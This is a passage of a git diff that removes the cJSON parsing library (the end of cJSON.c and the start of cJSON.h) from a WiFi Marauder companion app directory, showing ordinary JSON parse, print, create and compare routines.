update_offset(output_buffer); - if(current_element->next) { - length = (size_t)(output_buffer->format ? 2 : 1); - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ','; - if(output_buffer->format) { - *output_pointer++ = ' '; - } - *output_pointer = '\0'; - output_buffer->offset += length; - } - current_element = current_element->next; - } - - output_pointer = ensure(output_buffer, 2); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ']'; - *output_pointer = '\0'; - output_buffer->depth--; - - return true; -} - -/* Build an object from the text. */ -static cJSON_bool parse_object(cJSON* const item, parse_buffer* const input_buffer) { - cJSON* head = NULL; /* linked list head */ - cJSON* current_item = NULL; - - if(input_buffer->depth >= CJSON_NESTING_LIMIT) { - return false; /* to deeply nested */ - } - input_buffer->depth++; - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != '{')) { - goto fail; /* not an object */ - } - - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == '}')) { - goto success; /* empty object */ - } - - /* check if we skipped to the end of the buffer */ - if(cannot_access_at_index(input_buffer, 0)) { - input_buffer->offset--; - goto fail; - } - - /* step back to character in front of the first element */ - input_buffer->offset--; - /* loop through the comma separated array elements */ - do { - /* allocate next item */ - cJSON* new_item = cJSON_New_Item(&(input_buffer->hooks)); - if(new_item == NULL) { - goto fail; /* allocation failure */ - } - - /* attach next item to list */ - if(head == NULL) { - /* start the linked list */ - current_item = head = new_item; - } else { - /* add to the end and advance */ - current_item->next = new_item; - new_item->prev = current_item; - current_item = new_item; - } - - /* parse the name of the child */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_string(current_item, input_buffer)) { - goto fail; /* failed to parse name */ - } - buffer_skip_whitespace(input_buffer); - - /* swap valuestring and string, because we parsed the name */ - current_item->string = current_item->valuestring; - current_item->valuestring = NULL; - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != ':')) { - goto fail; /* invalid object */ - } - - /* parse the value */ - input_buffer->offset++; - buffer_skip_whitespace(input_buffer); - if(!parse_value(current_item, input_buffer)) { - goto fail; /* failed to parse value */ - } - buffer_skip_whitespace(input_buffer); - } while(can_access_at_index(input_buffer, 0) && (buffer_at_offset(input_buffer)[0] == ',')); - - if(cannot_access_at_index(input_buffer, 0) || (buffer_at_offset(input_buffer)[0] != '}')) { - goto fail; /* expected end of object */ - } - -success: - input_buffer->depth--; - - if(head != NULL) { - head->prev = current_item; - } - - item->type = cJSON_Object; - item->child = head; - - input_buffer->offset++; - return true; - -fail: - if(head != NULL) { - cJSON_Delete(head); - } - - return false; -} - -/* Render an object to text. */ -static cJSON_bool print_object(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - size_t length = 0; - cJSON* current_item = item->child; - - if(output_buffer == NULL) { - return false; - } - - /* Compose the output: */ - length = (size_t)(output_buffer->format ? 2 : 1); /* fmt: {\n */ - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - - *output_pointer++ = '{'; - output_buffer->depth++; - if(output_buffer->format) { - *output_pointer++ = '\n'; - } - output_buffer->offset += length; - - while(current_item) { - if(output_buffer->format) { - size_t i; - output_pointer = ensure(output_buffer, output_buffer->depth); - if(output_pointer == NULL) { - return false; - } - for(i = 0; i < output_buffer->depth; i++) { - *output_pointer++ = '\t'; - } - output_buffer->offset += output_buffer->depth; - } - - /* print key */ - if(!print_string_ptr((unsigned char*)current_item->string, output_buffer)) { - return false; - } - update_offset(output_buffer); - - length = (size_t)(output_buffer->format ? 2 : 1); - output_pointer = ensure(output_buffer, length); - if(output_pointer == NULL) { - return false; - } - *output_pointer++ = ':'; - if(output_buffer->format) { - *output_pointer++ = '\t'; - } - output_buffer->offset += length; - - /* print value */ - if(!print_value(current_item, output_buffer)) { - return false; - } - update_offset(output_buffer); - - /* print comma if not last */ - length = ((size_t)(output_buffer->format ? 1 : 0) + (size_t)(current_item->next ? 1 : 0)); - output_pointer = ensure(output_buffer, length + 1); - if(output_pointer == NULL) { - return false; - } - if(current_item->next) { - *output_pointer++ = ','; - } - - if(output_buffer->format) { - *output_pointer++ = '\n'; - } - *output_pointer = '\0'; - output_buffer->offset += length; - - current_item = current_item->next; - } - - output_pointer = ensure(output_buffer, output_buffer->format ? (output_buffer->depth + 1) : 2); - if(output_pointer == NULL) { - return false; - } - if(output_buffer->format) { - size_t i; - for(i = 0; i < (output_buffer->depth - 1); i++) { - *output_pointer++ = '\t'; - } - } - *output_pointer++ = '}'; - *output_pointer = '\0'; - output_buffer->depth--; - - return true; -} - -/* Get Array size/item / object item. */ -CJSON_PUBLIC(int) cJSON_GetArraySize(const cJSON* array) { - cJSON* child = NULL; - size_t size = 0; - - if(array == NULL) { - return 0; - } - - child = array->child; - - while(child != NULL) { - size++; - child = child->next; - } - - /* FIXME: Can overflow here. Cannot be fixed without breaking the API */ - - return (int)size; -} - -static cJSON* get_array_item(const cJSON* array, size_t index) { - cJSON* current_child = NULL; - - if(array == NULL) { - return NULL; - } - - current_child = array->child; - while((current_child != NULL) && (index > 0)) { - index--; - current_child = current_child->next; - } - - return current_child; -} - -CJSON_PUBLIC(cJSON*) cJSON_GetArrayItem(const cJSON* array, int index) { - if(index < 0) { - return NULL; - } - - return get_array_item(array, (size_t)index); -} - -static cJSON* get_object_item( - const cJSON* const object, - const char* const name, - const cJSON_bool case_sensitive) { - cJSON* current_element = NULL; - - if((object == NULL) || (name == NULL)) { - return NULL; - } - - current_element = object->child; - if(case_sensitive) { - while((current_element != NULL) && (current_element->string != NULL) && - (strcmp(name, current_element->string) != 0)) { - current_element = current_element->next; - } - } else { - while((current_element != NULL) && - (case_insensitive_strcmp( - (const unsigned char*)name, (const unsigned char*)(current_element->string)) != - 0)) { - current_element = current_element->next; - } - } - - if((current_element == NULL) || (current_element->string == NULL)) { - return NULL; - } - - return current_element; -} - -CJSON_PUBLIC(cJSON*) cJSON_GetObjectItem(const cJSON* const object, const char* const string) { - return get_object_item(object, string, false); -} - -CJSON_PUBLIC(cJSON*) -cJSON_GetObjectItemCaseSensitive(const cJSON* const object, const char* const string) { - return get_object_item(object, string, true); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_HasObjectItem(const cJSON* object, const char* string) { - return cJSON_GetObjectItem(object, string) ? 1 : 0; -} - -/* Utility for array list handling. */ -static void suffix_object(cJSON* prev, cJSON* item) { - prev->next = item; - item->prev = prev; -} - -/* Utility for handling references. */ -static cJSON* create_reference(const cJSON* item, const internal_hooks* const hooks) { - cJSON* reference = NULL; - if(item == NULL) { - return NULL; - } - - reference = cJSON_New_Item(hooks); - if(reference == NULL) { - return NULL; - } - - memcpy(reference, item, sizeof(cJSON)); - reference->string = NULL; - reference->type |= cJSON_IsReference; - reference->next = reference->prev = NULL; - return reference; -} - -static cJSON_bool add_item_to_array(cJSON* array, cJSON* item) { - cJSON* child = NULL; - - if((item == NULL) || (array == NULL) || (array == item)) { - return false; - } - - child = array->child; - /* - * To find the last item in array quickly, we use prev in array - */ - if(child == NULL) { - /* list is empty, start new one */ - array->child = item; - item->prev = item; - item->next = NULL; - } else { - /* append to the end */ - if(child->prev) { - suffix_object(child->prev, item); - array->child->prev = item; - } - } - - return true; -} - -/* Add item to array/object. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToArray(cJSON* array, cJSON* item) { - return add_item_to_array(array, item); -} - -#if defined(__clang__) || \ - (defined(__GNUC__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ > 5)))) -#pragma GCC diagnostic push -#endif -#ifdef __GNUC__ -#pragma GCC diagnostic ignored "-Wcast-qual" -#endif -/* helper function to cast away const */ -static void* cast_away_const(const void* string) { - return (void*)string; -} -#if defined(__clang__) || \ - (defined(__GNUC__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ > 5)))) -#pragma GCC diagnostic pop -#endif - -static cJSON_bool add_item_to_object( - cJSON* const object, - const char* const string, - cJSON* const item, - const internal_hooks* const hooks, - const cJSON_bool constant_key) { - char* new_key = NULL; - int new_type = cJSON_Invalid; - - if((object == NULL) || (string == NULL) || (item == NULL) || (object == item)) { - return false; - } - - if(constant_key) { - new_key = (char*)cast_away_const(string); - new_type = item->type | cJSON_StringIsConst; - } else { - new_key = (char*)cJSON_strdup((const unsigned char*)string, hooks); - if(new_key == NULL) { - return false; - } - - new_type = item->type & ~cJSON_StringIsConst; - } - - if(!(item->type & cJSON_StringIsConst) && (item->string != NULL)) { - hooks->deallocate(item->string); - } - - item->string = new_key; - item->type = new_type; - - return add_item_to_array(object, item); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObject(cJSON* object, const char* string, cJSON* item) { - return add_item_to_object(object, string, item, &global_hooks, false); -} - -/* Add an item to an object with constant string as key */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObjectCS(cJSON* object, const char* string, cJSON* item) { - return add_item_to_object(object, string, item, &global_hooks, true); -} - -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemReferenceToArray(cJSON* array, cJSON* item) { - if(array == NULL) { - return false; - } - - return add_item_to_array(array, create_reference(item, &global_hooks)); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_AddItemReferenceToObject(cJSON* object, const char* string, cJSON* item) { - if((object == NULL) || (string == NULL)) { - return false; - } - - return add_item_to_object( - object, string, create_reference(item, &global_hooks), &global_hooks, false); -} - -CJSON_PUBLIC(cJSON*) cJSON_AddNullToObject(cJSON* const object, const char* const name) { - cJSON* null = cJSON_CreateNull(); - if(add_item_to_object(object, name, null, &global_hooks, false)) { - return null; - } - - cJSON_Delete(null); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddTrueToObject(cJSON* const object, const char* const name) { - cJSON* true_item = cJSON_CreateTrue(); - if(add_item_to_object(object, name, true_item, &global_hooks, false)) { - return true_item; - } - - cJSON_Delete(true_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddFalseToObject(cJSON* const object, const char* const name) { - cJSON* false_item = cJSON_CreateFalse(); - if(add_item_to_object(object, name, false_item, &global_hooks, false)) { - return false_item; - } - - cJSON_Delete(false_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddBoolToObject(cJSON* const object, const char* const name, const cJSON_bool boolean) { - cJSON* bool_item = cJSON_CreateBool(boolean); - if(add_item_to_object(object, name, bool_item, &global_hooks, false)) { - return bool_item; - } - - cJSON_Delete(bool_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddNumberToObject(cJSON* const object, const char* const name, const double number) { - cJSON* number_item = cJSON_CreateNumber(number); - if(add_item_to_object(object, name, number_item, &global_hooks, false)) { - return number_item; - } - - cJSON_Delete(number_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddStringToObject(cJSON* const object, const char* const name, const char* const string) { - cJSON* string_item = cJSON_CreateString(string); - if(add_item_to_object(object, name, string_item, &global_hooks, false)) { - return string_item; - } - - cJSON_Delete(string_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) -cJSON_AddRawToObject(cJSON* const object, const char* const name, const char* const raw) { - cJSON* raw_item = cJSON_CreateRaw(raw); - if(add_item_to_object(object, name, raw_item, &global_hooks, false)) { - return raw_item; - } - - cJSON_Delete(raw_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddObjectToObject(cJSON* const object, const char* const name) { - cJSON* object_item = cJSON_CreateObject(); - if(add_item_to_object(object, name, object_item, &global_hooks, false)) { - return object_item; - } - - cJSON_Delete(object_item); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_AddArrayToObject(cJSON* const object, const char* const name) { - cJSON* array = cJSON_CreateArray(); - if(add_item_to_object(object, name, array, &global_hooks, false)) { - return array; - } - - cJSON_Delete(array); - return NULL; -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemViaPointer(cJSON* parent, cJSON* const item) { - if((parent == NULL) || (item == NULL)) { - return NULL; - } - - if(item != parent->child) { - /* not the first element */ - item->prev->next = item->next; - } - if(item->next != NULL) { - /* not the last element */ - item->next->prev = item->prev; - } - - if(item == parent->child) { - /* first element */ - parent->child = item->next; - } else if(item->next == NULL) { - /* last element */ - parent->child->prev = item->prev; - } - - /* make sure the detached item doesn't point anywhere anymore */ - item->prev = NULL; - item->next = NULL; - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromArray(cJSON* array, int which) { - if(which < 0) { - return NULL; - } - - return cJSON_DetachItemViaPointer(array, get_array_item(array, (size_t)which)); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromArray(cJSON* array, int which) { - cJSON_Delete(cJSON_DetachItemFromArray(array, which)); -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObject(cJSON* object, const char* string) { - cJSON* to_detach = cJSON_GetObjectItem(object, string); - - return cJSON_DetachItemViaPointer(object, to_detach); -} - -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObjectCaseSensitive(cJSON* object, const char* string) { - cJSON* to_detach = cJSON_GetObjectItemCaseSensitive(object, string); - - return cJSON_DetachItemViaPointer(object, to_detach); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromObject(cJSON* object, const char* string) { - cJSON_Delete(cJSON_DetachItemFromObject(object, string)); -} - -CJSON_PUBLIC(void) cJSON_DeleteItemFromObjectCaseSensitive(cJSON* object, const char* string) { - cJSON_Delete(cJSON_DetachItemFromObjectCaseSensitive(object, string)); -} - -/* Replace array/object items with new ones. */ -CJSON_PUBLIC(cJSON_bool) cJSON_InsertItemInArray(cJSON* array, int which, cJSON* newitem) { - cJSON* after_inserted = NULL; - - if(which < 0) { - return false; - } - - after_inserted = get_array_item(array, (size_t)which); - if(after_inserted == NULL) { - return add_item_to_array(array, newitem); - } - - newitem->next = after_inserted; - newitem->prev = after_inserted->prev; - after_inserted->prev = newitem; - if(after_inserted == array->child) { - array->child = newitem; - } else { - newitem->prev->next = newitem; - } - return true; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemViaPointer(cJSON* const parent, cJSON* const item, cJSON* replacement) { - if((parent == NULL) || (replacement == NULL) || (item == NULL)) { - return false; - } - - if(replacement == item) { - return true; - } - - replacement->next = item->next; - replacement->prev = item->prev; - - if(replacement->next != NULL) { - replacement->next->prev = replacement; - } - if(parent->child == item) { - if(parent->child->prev == parent->child) { - replacement->prev = replacement; - } - parent->child = replacement; - } else { /* - * To find the last item in array quickly, we use prev in array. - * We can't modify the last item's next pointer where this item was the parent's child - */ - if(replacement->prev != NULL) { - replacement->prev->next = replacement; - } - if(replacement->next == NULL) { - parent->child->prev = replacement; - } - } - - item->next = NULL; - item->prev = NULL; - cJSON_Delete(item); - - return true; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_ReplaceItemInArray(cJSON* array, int which, cJSON* newitem) { - if(which < 0) { - return false; - } - - return cJSON_ReplaceItemViaPointer(array, get_array_item(array, (size_t)which), newitem); -} - -static cJSON_bool replace_item_in_object( - cJSON* object, - const char* string, - cJSON* replacement, - cJSON_bool case_sensitive) { - if((replacement == NULL) || (string == NULL)) { - return false; - } - - /* replace the name in the replacement */ - if(!(replacement->type & cJSON_StringIsConst) && (replacement->string != NULL)) { - cJSON_free(replacement->string); - } - replacement->string = (char*)cJSON_strdup((const unsigned char*)string, &global_hooks); - replacement->type &= ~cJSON_StringIsConst; - - return cJSON_ReplaceItemViaPointer( - object, get_object_item(object, string, case_sensitive), replacement); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObject(cJSON* object, const char* string, cJSON* newitem) { - return replace_item_in_object(object, string, newitem, false); -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObjectCaseSensitive(cJSON* object, const char* string, cJSON* newitem) { - return replace_item_in_object(object, string, newitem, true); -} - -/* Create basic types: */ -CJSON_PUBLIC(cJSON*) cJSON_CreateNull(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_NULL; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateTrue(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_True; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateFalse(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_False; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateBool(cJSON_bool boolean) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = boolean ? cJSON_True : cJSON_False; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateNumber(double num) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Number; - item->valuedouble = num; - - /* use saturation in case of overflow */ - if(num >= INT_MAX) { - item->valueint = INT_MAX; - } else if(num <= (double)INT_MIN) { - item->valueint = INT_MIN; - } else { - item->valueint = (int)num; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateString(const char* string) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_String; - item->valuestring = (char*)cJSON_strdup((const unsigned char*)string, &global_hooks); - if(!item->valuestring) { - cJSON_Delete(item); - return NULL; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateStringReference(const char* string) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_String | cJSON_IsReference; - item->valuestring = (char*)cast_away_const(string); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateObjectReference(const cJSON* child) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_Object | cJSON_IsReference; - item->child = (cJSON*)cast_away_const(child); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateArrayReference(const cJSON* child) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item != NULL) { - item->type = cJSON_Array | cJSON_IsReference; - item->child = (cJSON*)cast_away_const(child); - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateRaw(const char* raw) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Raw; - item->valuestring = (char*)cJSON_strdup((const unsigned char*)raw, &global_hooks); - if(!item->valuestring) { - cJSON_Delete(item); - return NULL; - } - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateArray(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Array; - } - - return item; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateObject(void) { - cJSON* item = cJSON_New_Item(&global_hooks); - if(item) { - item->type = cJSON_Object; - } - - return item; -} - -/* Create Arrays: */ -CJSON_PUBLIC(cJSON*) cJSON_CreateIntArray(const int* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber(numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateFloatArray(const float* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber((double)numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateDoubleArray(const double* numbers, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (numbers == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateNumber(numbers[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -CJSON_PUBLIC(cJSON*) cJSON_CreateStringArray(const char* const* strings, int count) { - size_t i = 0; - cJSON* n = NULL; - cJSON* p = NULL; - cJSON* a = NULL; - - if((count < 0) || (strings == NULL)) { - return NULL; - } - - a = cJSON_CreateArray(); - - for(i = 0; a && (i < (size_t)count); i++) { - n = cJSON_CreateString(strings[i]); - if(!n) { - cJSON_Delete(a); - return NULL; - } - if(!i) { - a->child = n; - } else { - suffix_object(p, n); - } - p = n; - } - - if(a && a->child) { - a->child->prev = n; - } - - return a; -} - -/* Duplication */ -CJSON_PUBLIC(cJSON*) cJSON_Duplicate(const cJSON* item, cJSON_bool recurse) { - cJSON* newitem = NULL; - cJSON* child = NULL; - cJSON* next = NULL; - cJSON* newchild = NULL; - - /* Bail on bad ptr */ - if(!item) { - goto fail; - } - /* Create new item */ - newitem = cJSON_New_Item(&global_hooks); - if(!newitem) { - goto fail; - } - /* Copy over all vars */ - newitem->type = item->type & (~cJSON_IsReference); - newitem->valueint = item->valueint; - newitem->valuedouble = item->valuedouble; - if(item->valuestring) { - newitem->valuestring = - (char*)cJSON_strdup((unsigned char*)item->valuestring, &global_hooks); - if(!newitem->valuestring) { - goto fail; - } - } - if(item->string) { - newitem->string = (item->type & cJSON_StringIsConst) ? - item->string : - (char*)cJSON_strdup((unsigned char*)item->string, &global_hooks); - if(!newitem->string) { - goto fail; - } - } - /* If non-recursive, then we're done! */ - if(!recurse) { - return newitem; - } - /* Walk the ->next chain for the child. */ - child = item->child; - while(child != NULL) { - newchild = cJSON_Duplicate( - child, true); /* Duplicate (with recurse) each item in the ->next chain */ - if(!newchild) { - goto fail; - } - if(next != NULL) { - /* If newitem->child already set, then crosswire ->prev and ->next and move on */ - next->next = newchild; - newchild->prev = next; - next = newchild; - } else { - /* Set newitem->child and move to it */ - newitem->child = newchild; - next = newchild; - } - child = child->next; - } - if(newitem && newitem->child) { - newitem->child->prev = newchild; - } - - return newitem; - -fail: - if(newitem != NULL) { - cJSON_Delete(newitem); - } - - return NULL; -} - -static void skip_oneline_comment(char** input) { - *input += static_strlen("//"); - - for(; (*input)[0] != '\0'; ++(*input)) { - if((*input)[0] == '\n') { - *input += static_strlen("\n"); - return; - } - } -} - -static void skip_multiline_comment(char** input) { - *input += static_strlen("/*"); - - for(; (*input)[0] != '\0'; ++(*input)) { - if(((*input)[0] == '*') && ((*input)[1] == '/')) { - *input += static_strlen("*/"); - return; - } - } -} - -static void minify_string(char** input, char** output) { - (*output)[0] = (*input)[0]; - *input += static_strlen("\""); - *output += static_strlen("\""); - - for(; (*input)[0] != '\0'; (void)++(*input), ++(*output)) { - (*output)[0] = (*input)[0]; - - if((*input)[0] == '\"') { - (*output)[0] = '\"'; - *input += static_strlen("\""); - *output += static_strlen("\""); - return; - } else if(((*input)[0] == '\\') && ((*input)[1] == '\"')) { - (*output)[1] = (*input)[1]; - *input += static_strlen("\""); - *output += static_strlen("\""); - } - } -} - -CJSON_PUBLIC(void) cJSON_Minify(char* json) { - char* into = json; - - if(json == NULL) { - return; - } - - while(json[0] != '\0') { - switch(json[0]) { - case ' ': - case '\t': - case '\r': - case '\n': - json++; - break; - - case '/': - if(json[1] == '/') { - skip_oneline_comment(&json); - } else if(json[1] == '*') { - skip_multiline_comment(&json); - } else { - json++; - } - break; - - case '\"': - minify_string(&json, (char**)&into); - break; - - default: - into[0] = json[0]; - json++; - into++; - } - } - - /* and null-terminate. */ - *into = '\0'; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsInvalid(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Invalid; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsFalse(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_False; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsTrue(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xff) == cJSON_True; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsBool(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & (cJSON_True | cJSON_False)) != 0; -} -CJSON_PUBLIC(cJSON_bool) cJSON_IsNull(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_NULL; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsNumber(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Number; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsString(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_String; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsArray(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Array; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsObject(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Object; -} - -CJSON_PUBLIC(cJSON_bool) cJSON_IsRaw(const cJSON* const item) { - if(item == NULL) { - return false; - } - - return (item->type & 0xFF) == cJSON_Raw; -} - -CJSON_PUBLIC(cJSON_bool) -cJSON_Compare(const cJSON* const a, const cJSON* const b, const cJSON_bool case_sensitive) { - if((a == NULL) || (b == NULL) || ((a->type & 0xFF) != (b->type & 0xFF))) { - return false; - } - - /* check if type is valid */ - switch(a->type & 0xFF) { - case cJSON_False: - case cJSON_True: - case cJSON_NULL: - case cJSON_Number: - case cJSON_String: - case cJSON_Raw: - case cJSON_Array: - case cJSON_Object: - break; - - default: - return false; - } - - /* identical objects are equal */ - if(a == b) { - return true; - } - - switch(a->type & 0xFF) { - /* in these cases and equal type is enough */ - case cJSON_False: - case cJSON_True: - case cJSON_NULL: - return true; - - case cJSON_Number: - if(compare_double(a->valuedouble, b->valuedouble)) { - return true; - } - return false; - - case cJSON_String: - case cJSON_Raw: - if((a->valuestring == NULL) || (b->valuestring == NULL)) { - return false; - } - if(strcmp(a->valuestring, b->valuestring) == 0) { - return true; - } - - return false; - - case cJSON_Array: { - cJSON* a_element = a->child; - cJSON* b_element = b->child; - - for(; (a_element != NULL) && (b_element != NULL);) { - if(!cJSON_Compare(a_element, b_element, case_sensitive)) { - return false; - } - - a_element = a_element->next; - b_element = b_element->next; - } - - /* one of the arrays is longer than the other */ - if(a_element != b_element) { - return false; - } - - return true; - } - - case cJSON_Object: { - cJSON* a_element = NULL; - cJSON* b_element = NULL; - cJSON_ArrayForEach(a_element, a) { - /* TODO This has O(n^2) runtime, which is horrible! */ - b_element = get_object_item(b, a_element->string, case_sensitive); - if(b_element == NULL) { - return false; - } - - if(!cJSON_Compare(a_element, b_element, case_sensitive)) { - return false; - } - } - - /* doing this twice, once on a and b to prevent true comparison if a subset of b - * TODO: Do this the proper way, this is just a fix for now */ - cJSON_ArrayForEach(b_element, b) { - a_element = get_object_item(a, b_element->string, case_sensitive); - if(a_element == NULL) { - return false; - } - - if(!cJSON_Compare(b_element, a_element, case_sensitive)) { - return false; - } - } - - return true; - } - - default: - return false; - } -} - -CJSON_PUBLIC(void*) cJSON_malloc(size_t size) { - return global_hooks.allocate(size); -} - -CJSON_PUBLIC(void) cJSON_free(void* object) { - global_hooks.deallocate(object); -} diff --git a/applications/external/wifi_marauder_companion/script/cJSON.h b/applications/external/wifi_marauder_companion/script/cJSON.h deleted file mode 100644 index 14ec83d9d..000000000 --- a/applications/external/wifi_marauder_companion/script/cJSON.h +++ /dev/null @@ -1,321 +0,0 @@ -/* - Copyright (c) 2009-2017 Dave Gamble and cJSON contributors - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. -*/ - -#ifndef cJSON__h -#define cJSON__h - -#ifdef __cplusplus -extern "C" { -#endif - -#if !defined(__WINDOWS__) && \ - (defined(WIN32) || defined(WIN64) || defined(_MSC_VER) || defined(_WIN32)) -#define __WINDOWS__ -#endif - -#ifdef __WINDOWS__ - -/* When compiling for windows, we specify a specific calling convention to avoid issues where we are being called from a project with a different default calling convention. For windows you have 3 define options: - -CJSON_HIDE_SYMBOLS - Define this in the case where you don't want to ever dllexport symbols -CJSON_EXPORT_SYMBOLS - Define this on library build when you want to dllexport symbols (default) -CJSON_IMPORT_SYMBOLS - Define this if you want to dllimport symbol - -For 